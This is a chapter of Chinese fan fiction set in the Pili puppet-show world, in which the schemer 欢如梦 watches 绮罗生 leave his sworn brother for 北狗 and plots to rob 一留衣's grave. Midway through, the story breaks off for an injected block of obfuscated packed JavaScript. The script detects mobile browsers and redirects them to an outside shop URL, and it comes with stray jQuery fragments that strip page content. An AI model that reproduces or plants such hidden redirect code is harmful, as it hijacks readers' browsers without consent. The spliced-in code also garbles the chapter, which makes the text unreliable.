欹月寒命中有一位义母。毒后独孤毒,她母亲欧阳堇的莫逆之交、金兰姊妹。
欢如梦不太想认这个便宜干娘。
说句不好听的话,她是强盗窃贼,而非原身,她对欧阳堇根本没有任何母女之情!欧阳堇的故交是谁跟她更没有半毛钱关系。
而且她都要去做大反派的小情人了,独孤毒这人作风太正派只会碍手碍脚。
【我发现一个有意思的事情,还记得紫龙吗?就你唱歌给他听的那条紫龙。】
欢如梦心道,他不是转世成人了吗?这里还有他的事情呢?
……唱歌的小孩不是我!
【行行行不是你。你可以不认这个干娘,但是你爹要来了。你总不能不认你爹吧,这可是扶光芳岁当初亲口认下的亲戚。】
扶光芳岁认下的亲戚,和她欢如梦有什么关系?
既然已经转世成人,前尘皆忘,前世种种与他毫无干系,又怎么能说他们是亲戚。
【他欠了你的因果啊孩子,他迟早要还的。没有你他当初就被雷劈死了。】
【还是说你致力于做自己最大的黑粉,连爹都想一起刀了?】
欢如梦心神一动,其实也不是不行。
但投入和回报不成正比,刀了其中一个还有另外两个,不死系铁三角后患无穷,她现在是个很初级的盗版天命者,还是算了。
【有意思,不愧是你,为了事业大义灭亲。】
他怎么会来?
【佛剑分说死了,你爹不得出来把人复活。你也知道他是苦境好领导嘛,宁可自己入局,也不绝让手底下的学子沾染半点江湖风波。啧啧……这种保护欲,当真少见。】
【欸,你说,当初要是能把这种保护欲分一点在你身上,你也不至于被人做成罐头了不是?哈哈哈哈还是分装罐头!!!】
一阵突如其来的大笑声震得欢如梦头疼。笑笑笑!就知道笑!家都被你笑散了!
看来要加快进度了,乐子神看热闹不嫌事大都开始挑拨离间。不就是看腻了路人甲女主想看她切号吗?这么着急赶着去投胎啊?
欢如梦把欹月寒召回,让女子坐在自己面前,她则是把手放在欹月寒面部调整骨相,先改骨相,改头换面还要再等等。
其实欹月寒的底子并不差,眼睛也大,烟熏妆的风格独树一帜。
但谁叫她倒霉落入欢如梦的手掌心,欢如梦不够满意,就得改。
改骨之后欢如梦让她回葬刀会继续假扮痕江月,更是借助葬刀会的势力敛财。
这个专门逼杀用刀者与铸刀师的组织暗地里私藏不少好东西,痕江月一死,全都便宜欢如梦了。
葬刀会是一个集团势力,下属有很多分部,盛华年和痕江月率领的就是中原分部。
虽然只是一个分部,已经足够她用了。
如今的这个分部已经榨不出油水了,再假扮下去有被痕江月双胞胎哥哥拆穿的风险。
是时候下线了。
说起来,欹月寒有个相好的叫做葬云霄,是个妖族,他为了体会人类的感情,和一个叫做癫不乱的人换心。
结果癫不乱承受不住妖心,疯了。
葬云霄也因对方失信没再回来,导致失去妖心太久而妖形虚化,必须躲在百妖路保命。不得已与欹月寒分离。还是缎君衡为了救儿子质辛把他带出来的。
癫不乱是欹月寒的生父,有个隐藏身份是金狮帝国的二皇子,他的哥哥是金狮帝国太子、七修创者戚太祖,论辈分,戚太祖是欹月寒的大伯。
葬云霄之所以想要体会人类的感情,是因为他喜欢欹月寒。如今他人在春宵幽梦楼,步香尘正在勾搭他。
啧,她与策梦候真是剪不断理还乱的孽缘啊。
她那失了智的前夫哥,不知道是否还记得他的小梦儿呢?欢如梦心道,怕是难了。步香尘现在强制走剧情呢,还养了个年轻的探花郎,夜夜笙歌好不快活。
可能要等到情蛮花的肉身与她磨合之后,午夜梦回,或许会记起一些前尘往事吧。
欲花究其本质仍是异变的物种。
本就被改造成花田的策梦候舍弃原本肉身,以诞育变异花种的情蛮花作为身躯,又收到了世界线收束的影响,这三者叠加下来……
幸亏策梦候是个强气运的天命者,换个人早就冲击成傻子了。
不过就算她没失智也不会来找欢如梦的。
毕竟,一个优秀的前任就该像死了一样。
让欢如梦感兴趣的是,策梦候会受到其他残存意识的影响吗?毕竟凡事讲究个先来后到,最先以身殉花的人可不是他策梦候啊。
绮罗生应下了天踦爵之邀,解决了恶骨,和意琦行再度重逢,两人一起把一留衣救回来了。武道七修一代三人再度聚首。
谈起绮罗生的复生,就难免要谈及策梦侯。
意琦行实名diss了一番:
“此人心术不正,救绮罗生,必定只是因为绮罗生的身上还有他所需要的利用价值。”
一留衣咋舌:“不是我说……你怎么回事,攻击性这么强?”
意琦行哼了一声:“立身不正之人,意琦行不屑于之为伍。策梦候貌似谨厚,实则伪善。内里污糟,明面上披了张人皮的……”
真是越说越没分寸了,一留衣连忙打断:
“不管怎样,人是策梦侯救回来,有机会就要报答人家。”
意琦行嗤笑:“就他?”
一留衣定定的看着他:
“喂,你怎么了,火气怎么这么大,不太对劲哦。看着也不像是有仇,你揪住策梦候人品这点不放是什么缘故?不太像是你往日的作风。一般这种人,你是不屑挂在口上放在嘴上讲。我真是奇了怪了,策梦候有什么能耐让你这么惦记他?”
意琦行忽然沉默下来。
绮罗生心里了然,上前劝说道:
“好了好了,策梦侯恩情是吾自己的事情,二位不必为此争执,最重要的是,我已经回来了……缉天涯?你受伤了?”
缉天涯来求救,她的母亲九代师被葬刀会的人带走了。
绮罗生一听就要回去救人。
“葬刀会的恩怨因吾而起,应由吾来结束。缉天涯劳烦好友代为安顿了。”
虽然痕江月死了,但是还有欹月寒啊。至于功法就更简单了,痕江月被欹月寒所杀,欢如梦继承了他所有的功法让欹月寒假扮痕江月发号施令。
至于欹月寒会不会被绮罗生所杀,欢如梦自是给了她保命手段。
这可是欢如梦的副体,她怎能容忍出现意外,两边打起来趁机死遁就行了。
天色渐次染红,形成一轮红月杀景。
绮罗生与“痕江月”一战后,约定七修三雄战三凶。此战非同小可,绮罗生返回画舫取黑月之泪以双刀赴战。
孰料绮罗生遇到了老狗,没能赴约。
为了救兄弟,他不惜向老狗下跪磕头。然而事与愿违,等绮罗生赶来无生之岸时已经迟了,一留衣死于鬼荒地狱变之手。
北狗受绮罗生请托,觑破鬼言护体击退鬼荒地狱变。
“你……”意琦行诧异于绮罗生一身血污,额头染血。
“兄弟,吾,吾失约了。”
绮罗生低着头无颜面对。
“你当时没有出现,我就知道,你一定是发生了什么不测。”意琦行搭住他的手腕,道:“现在看到你至少还活着就安心了。我们把一留衣带回去,好好安葬吧。”
绮罗生拂开他的手。
“今后,我们兄弟,再不是同路人。”
意琦行一惊:“为什么?”
绮罗生默默走到北狗身后。
北狗扛着骨刀,嘴里叼了一根草:“因为我老狗救了你的命。”
“为什么?”
意琦行看向绮罗生追问。
北狗继续道:“因为他答应做我的狗。”绮罗生沉默的握起了拳头。
哇塞!
欢如梦两眼发亮,掏出瓜子嗑了起来。
意琦行怒道:“不准你践踏我的兄弟!”
打起来打起来!
意琦行伤重不支,嘴角染红仍傲骨撑持。
“哦?”北狗拎起刀,问:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12328727|131097||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“要相杀吗?”
绮罗生上前拦住了北狗,两人对视。
“有很多时候,是由命运决定人生。这一败,我们都要认清事实。一留衣他的,他的后事,就麻烦你了。”
绮罗生别过头。
意琦行眼睁睁看着绮罗生跟着北狗离开。
欢如梦收起瓜子,手中折扇徐徐展开,扇尾斜搭在唇上,正露出一段上扬的唇角。
“啧啧啧,好一段横刀夺爱虐恋情深呐。”
她笑靥如花。
人性的恶意在这一刻彰显的淋漓尽致。对意琦行,欢如梦一直抱有一股恨意,隐隐作痛。每当面对意琦行时,这股滔天的恨意几欲冲出她的胸口。
她猜想,可能是因为欢如梦永远也无法拥有像意琦行这般孤高的傲骨与秉性吧。
欢如梦为了活,为了活得好,什么都能做。她的心中有太多不平,她可以对任何人摇尾乞怜。
或许她的本我是善良的,成为欢如梦后的她早就被私欲腐蚀了,抛却了良善,没有底线,反而得到了从前得不到的一切。
完整的身体,正常人的五感,健康,亲朋挚友,四惊鸿的师承与人脉,名利……
多可笑啊这该死的世道。
自从策梦侯对她谈及起一阙戏文,其叙述的方式和乐子神给她的话本里的一个故事相似时,欢如梦就开始观察其他人的言谈举止。
其他世界的剧情,有可能折射到这个世界吗?
答案是肯定的。
而她所在的这个世界是有着创作者的存在,所有人的喜怒哀乐,逃不过名为编剧的人类的创作。这些高维人类每天接触大量信息,其中一部分就会被用于创作之中。
也就是说,无论是叫唤渊薮上的陶俑,还是扶光芳岁自己都是创作者笔下的背景板。
扶光芳岁甚至还比不上叫唤渊薮上的陶俑,至少陶俑有出场镜头。
而她只是一个角色背景故事里的废案!
创作者不需要了,觉得不需要高大上的前世也能塑造好一个人气角色,不需要配角衬托,把她砍线了。也不能这么说,应该说,把她扔进废纸篓了。
扶光芳岁就被这个世道舍弃了!
【你原本是这个世界正在孕育中的...】
后半部分欢如梦没能听到,可能是位格受限。
但她也能猜出个大概。
笑死,无非就是那些老生常谈的设定,但欢如梦不关心了。
旧日支配者哈斯塔。
【吾与你同在。】
她知道这位乐子神肯救她未必抱着什么好心思,她为外神办事,很有可能就成了奸细走狗;又或是成为汲取这个世界营养的毒瘤,用来帮助这位同为投影的二创外神升维成真正的外神。
但她不在乎啊。
凭什么那些天命者一出生就拥有良好的品格和健全的人格,纯洁无瑕的灵魂,世人的拥戴。而她就要直面人间最恶的地狱,被哄骗,活着被分解成一块块装进罐子里。
甚至连她的享年,都是因为他界有个年龄相仿的神童,也是八岁。
所以创作者跟对方较劲也塑造出一个八岁的神童,在这个孩子身上倾注了所有的恶趣味,又玩笑一般的把这个孩子给扔了!
这让她如何不发疯?
欢如梦给外域邪神当狗又怎么样?至少她得到了想要的一切。
在她还是扶光芳岁的时候,这个世道何曾善待过她!
欢如梦拿出一枚圆润的白色棋子,棋子微微发光。
【太羽惊鸿一留衣,天选之人,可惜了没经受住考验。与你一样,他也是被舍弃的人。】
【算他走运,有你留下的后手,他还有一口气,你想留着用吗?】
用,怎么不用。
既然老天爷不用他了,那就给她用好了。
但不是现在,等他下葬之后吧。
她还是很嫉妒意琦行,打算趁着意琦行去画舫睹物思人的时候掘了他老朋友的坟。
嘻嘻,等他回来就只能瞪着眼干生气,气自己连绮罗生拜托的最后一件事都做不到。